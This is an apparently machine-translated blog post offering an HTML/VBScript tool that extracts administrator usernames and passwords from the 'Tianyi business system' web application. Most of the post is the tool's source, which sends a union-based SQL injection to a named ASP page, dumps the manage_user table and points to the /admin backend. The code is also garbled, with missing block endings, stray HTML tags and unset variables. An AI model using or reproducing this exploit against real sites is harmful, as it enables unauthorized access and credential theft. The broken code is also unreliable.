Tianyi business system background management account cracking html

Source: Internet
Author: User
Since I wrote a program to crack the business system,
I have received emails from many friends,
Ask about Program Principles and how to protect them.
Today, I took some time and made this Html version, only this htm file is available.
I believe that anyone who has some knowledge about html and SQL Injection can understand it.
The principle is very simple. The SQL Injection method is used to crack the user account,
This system has the SQL injection vulnerability in many places,
Then you can easily find out the problem by downloading the system.
Previously, it was a Vc ++ version, and now it is an html version, but they are all the same,
The source file of the webpage is obtained through the http protocol.
Analyze the source file and find the user name and password.
And displayed.

The following figure shows the source code. You only need to save the file to a hard disk and name it ty.htm.

<meta http-equiv="Content-Type" content="text/html; charset=gb2312"><script language="VbScript">
Function bytes2BSTR(vIn)
strReturn = ""
For i = 1 To LenB(vIn)
  ThisCharCode = AscB(MidB(vIn,i,1))
  If ThisCharCode < &H80 Then
   strReturn = strReturn & Chr(ThisCharCode)
   NextCharCode = AscB(MidB(vIn,i+1,1))
   strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
   i = i + 1
  End If
bytes2BSTR = strReturn
End Function
Sub OpenUrl(strUrl) </p>

On Error Resume Next
While Trim(strUser) <> ""
     strPara = "/wlyx/show_cgal.asp?newsid=1%20and%201=2%20union%20select%201,username%2b'***'%2bpassword,3,4,5,6%20from%20manage_user%20where %20username>'" + strUser + "'%20union%20select%20*%20from%20cgal%20where%201=2"

     Xmlhttp.open "GET", (strUrl + strPara), false
  strAAA=getMid(bytes2BSTR(xmlhttp.ResponseBody), "")
  If Trim(strAAA) <> "" Then
         Arr = Split(strAAA, "***")
         strUser = arr(0)
         strCqq = strCqq + vbNewLine + "username:" + strUser + vbNewLine + "password:" + arr(1) + vbNewLine + vbNewLine
         strUser = ""
     End If </p>

     Set xmlhttp = Nothing
If strCqq<>"" Then
  strCqq="cracked background management account is: (background default address: "+strUrl+"/admin)"+vbCrLF+VBCRLF+strCqq+vbnewline
End If </p>
<p>End Sub
Function getMid(str, str1, str2)
    Str11 = ""
    i = InStr(str, str1)
    If i > 0 Then
        j = InStr(i, str, str2)
        If j > 0 Then
            Str11 = Mid(str, i + Len(str1), j - i - Len(str1))
        End If
    End If
    getMid = str11
End Function
